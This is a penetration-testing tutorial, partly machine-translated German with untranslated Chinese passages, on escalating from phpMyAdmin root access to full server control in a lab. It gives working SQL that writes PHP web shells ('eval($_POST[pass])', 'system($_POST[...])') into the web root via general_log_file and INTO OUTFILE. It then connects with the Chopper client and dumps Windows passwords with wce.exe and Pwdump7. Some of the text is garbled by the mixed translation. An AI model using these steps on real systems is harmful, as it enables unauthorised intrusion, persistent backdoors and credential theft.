Heim  >  Artikel  >  Datenbank  >  Dinge über die Eskalation von phpMyadmin-Berechtigungen

Dinge über die Eskalation von phpMyadmin-Berechtigungen

藏色散人
藏色散人nach vorne
2021-01-11 15:04:442626Durchsuche

Die folgende Tutorial-Kolumne von phpmyadmin wird Ihnen die Dinge über die Eskalation von phpMyadmin-Berechtigungen vorstellen. Ich hoffe, dass sie Freunden, die es benötigen, hilfreich sein wird!

Dinge über die Eskalation von phpMyadmin-Berechtigungen

Einführung: Ich habe das Passwort des phpMyadmin-Kontos während des Penetrationstests erfahren. Wie kann ich die Berechtigungen erweitern? Lesen Sie weiter, heute werde ich Ihnen etwas über die Eskalation der phpMyadmin-Berechtigungen erzählen.

0×00 Definition

phpMyAdmin ist ein MySQL-Datenbankverwaltungstool, das auf PHP basiert und im Web-Base-Modus auf dem Website-Host strukturiert ist, sodass Administratoren die Webschnittstelle zur Verwaltung von MySQL-Datenbanken verwenden können.

0×01 Umgebungsvorbereitung

目标: Windows Server 2003 Enterprise x64 Edition    192.168.17.137攻击机: window7 192.168.17.132Php:5.45Mysql: 5.5.53Apache: 2.4

0×02 Beginnt einzudringen

Wir haben durch schwache Passwörter, Sprengungen, Verzeichnislecks usw. erfahren, dass das Kontopasswort von PhpMyadmin root ist. Als nächstes werden wir die Rechte über phpMyadmin so realitätsnah wie möglich eskalieren und über weitere Ideen sprechen.

a Sammeln Sie nützliche Informationen

Dinge über die Eskalation von phpMyadmin-BerechtigungenDinge über die Eskalation von phpMyadmin-Berechtigungen

Wie im Bild oben gezeigt, können wir die folgenden nützlichen Informationen erhalten.

  • 1. Das Betriebssystem ist Windows Server 2003 x86
  • 2. Der Server ist Apache 2.4.32
  • 3. Der Standardpfad der Website ist E:phpStudyPHPTutorialWWW
  • 5. MySQL-Version ist 5.5.53
b Einfügebedingungen erkennen

Oben haben wir erfahren, dass der Standardpfad der Website E:phpstudyPHPTutorialWWW ist. Zu diesem Zeitpunkt möchten wir unbedingt eine Backdoor-Datei einfügen oder eine Shell exportieren. Wenn wir eine der beiden oben genannten Ideen verwenden müssen, müssen wir eine Voraussetzung erfüllen. Der Wert, der „secure_file_priv“ entspricht, darf nicht leer sein und muss der Pfad der Standardwebsite sein, daher müssen wir den Wert von „secure_file_priv“ im Voraus überprüfen .

phpMyadmin führt den folgenden Befehl aus:

SHOW VARIABLES LIKE „secure_file_priv“;

结果如图所示:

Dinge über die Eskalation von phpMyadmin-Berechtigungen

从上图得知值为空,如果我们这时导入一句话,肯定会失败的,不信啊,那我们试试。

Dinge über die Eskalation von phpMyadmin-Berechtigungen

报错The MySQL server is running with the –secure-file-priv option so it cannot execute this statement,这是因为mysql对通过文件导入导出作了限制,默认不允许。默认value值为null,则为禁止,如果有文件夹目录,则只允许改目录下文件(测试子目录也不行)。我们思考一下看看能否设置其的路径为我们的默认网站路径,这样我们就可以导入一句话后门了。那我们试试吧。

Dinge über die Eskalation von phpMyadmin-Berechtigungen

从图得知这个变量是一个只读变量无法动态更改,那应该是只能从配置文件中更改了。到这里发现陷入了一个胡同,那常规方式不行,我们可以去使用一些骚思路,利用log日志文件插入一句话。

c 转换思路

我们首先需要检测的是MySQL全局变量(general_log、general_log file)的值。

  1. general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
  2. general log file 指的是日志的保存路径。

Dinge über die Eskalation von phpMyadmin-Berechtigungen

从图得知general_log默认是关闭的,log日志存放的位置是E:\phpStudy\PHPTutorial\MySQL\data\。

首先我们来理解一下开启general_log 的作用,开启它可以记录用户输入的每条命令,会把其保存在E:\phpstudy\PHPTutorial\MySQL\data\下的一个log文件中,其实就是我们常说的日志文件。好,我们的利用的思路是开启general_log之后把general_log_file的值修改为我们网站默认路径下一个自定义的php文件中,然后我们通过log日志进行写入一句话后门到上面去,然后再进一步利用。

具体命令是:

set global general_log = "ON";SET global general_log_file='E:/phpStudy/PHPTutorial/WWW/infos.php';

Dinge über die Eskalation von phpMyadmin-Berechtigungen

Dinge über die Eskalation von phpMyadmin-Berechtigungen


Dann können wir sehen, dass sich die von uns generierte Pseudo-Tagebuchdatei infos.php im Stammpfad der Website befindet.

Dinge über die Eskalation von phpMyadmin-Berechtigungen

Dann müssen wir unsere Ein-Satz-Hintertür einfügen.

select ‘’;

Dinge über die Eskalation von phpMyadmin-Berechtigungen

Wir können versuchen, den Chopper zum Herstellen einer Verbindung zu verwenden, und die Verbindung ist erfolgreich.

Dinge über die Eskalation von phpMyadmin-Berechtigungen

d Holen Sie sich das Administratorpasswort

0×00 Holen Sie sich den Klartext direkt

Wir laden wce.exe hoch, um das Klartextpasswort zu erhalten. Mit viel Glück habe ich direkt den Klartext (ein Passwort gemischt aus 11 Buchstaben und Zahlen) erhalten. Wenn Sie den Klartext nicht direkt abrufen können, müssen Sie mit dem zweiten Schritt fortfahren, um den Hash-Wert abzurufen und ihn dann zu entschlüsseln.

Dinge über die Eskalation von phpMyadmin-Berechtigungen

0×01 Holen Sie sich den Hash-Wert

Laden Sie Pwdump7.exe hoch, um den Hash-Wert zu erhalten, und speichern Sie ihn in der Datei „password.txt“. Um den Hash-Wert zu erhalten, können Sie ihn online unter http://www.objectif-securite.ch/en/ophcrack.php ausführen. Wenn dies fehlschlägt, importieren Sie die Rainbow-Tabelle mit Ophcrack und führen Sie sie aus.

Dinge über die Eskalation von phpMyadmin-Berechtigungen

Dinge über die Eskalation von phpMyadmin-Berechtigungen


e Überprüfen Sie, ob 3389 geöffnet ist

Geben Sie direkt „netstat -an | find „3389“ oder „netstat -an“ im Chopper-Terminal ein.

Dinge über die Eskalation von phpMyadmin-Berechtigungen

Es wurde festgestellt, dass 3389 nicht geöffnet ist, aber 3390 ist geöffnet. Wir versuchen, eine Verbindung herzustellen. Ja, aber ich werde es hier nicht schreiben, weil es zu viel Inhalt gibt

Das Obige zeigt die Situation, in der der Wert secure_file_priv leer ist. Was sollen wir also tun? Wenn „secure_file_priv“ nicht leer ist?

a Konfigurieren Sie die Datei „my.ini“ (entspricht nicht dem Stammpfad der Website).

Dinge über die Eskalation von phpMyadmin-BerechtigungenÖffnen Sie die MySQL-Konfigurationsdatei „my.ini“, legen Sie den Wert von „secure_file_priv“ fest und starten Sie MySQL neu.

Dinge über die Eskalation von phpMyadmin-Berechtigungensecure_file_priv = „E:/phpStudy/PHPTutorial /MYSQL/“



Dinge über die Eskalation von phpMyadmin-Berechtigungen

尝试改变值,发现只是可读,不能写,那种情况无法写入我们的一句话,因为其限制了导出路径,无法把一句话写入之后导出到我们的网站根目录。

Dinge über die Eskalation von phpMyadmin-Berechtigungen

Dinge über die Eskalation von phpMyadmin-Berechtigungen



b 配置my.ini文件(对应网站根路径)

打开mysq的配置文件my.ini,对secure_file_priv的值进行设置,然后重启mysql。

secure_file_priv =  ”E:/phpStudy/PHPTutorial/WWW/”

Dinge über die Eskalation von phpMyadmin-Berechtigungen

然后我们尝试插入一句话后门,成功插入。

Dinge über die Eskalation von phpMyadmin-Berechtigungen

二话不说菜刀连接。

Dinge über die Eskalation von phpMyadmin-Berechtigungen

Dinge über die Eskalation von phpMyadmin-Berechtigungen


当然一句话还可以这样插入。

CREATE TABLE `mysql`.`informationes` (`inform` TEXT NOT NULL);INSERT INTO `mysql`.`informationes` (`inform`) VALUES ('<?php  @eval($_POST[pass]);?>');SELECT `inform` from `mysql`.`informationes` into outfile 'e:/phpStudy/PHPTutorial/WWW/infos.php';DROP table if exists `mysql`.`informationes`;(注意: c:/phpStudy/PHPTutorial/WWW/为网站的绝对路径)

c 导出具有命令权限的Shell的php文件

select ‘\’;system($_POST[\'yumu\']);echo \’\’;?>’ into outfile ‘c:/phpStudy/PHPTutorial/WWW/test.php’;

Dinge über die Eskalation von phpMyadmin-Berechtigungen

Dinge über die Eskalation von phpMyadmin-Berechtigungen

0×04 Zusammenfassung

Die Umgebung in diesem Artikel ist so nah wie möglich an der realen Umgebung, außer dass waf nicht verwendet wird. Es simuliert die reale Umgebung, damit jeder die Ideen analysieren und erklären kann. Ich hoffe, dass alle geerntet haben.

Das obige ist der detaillierte Inhalt vonDinge über die Eskalation von phpMyadmin-Berechtigungen. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:csdn.net. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen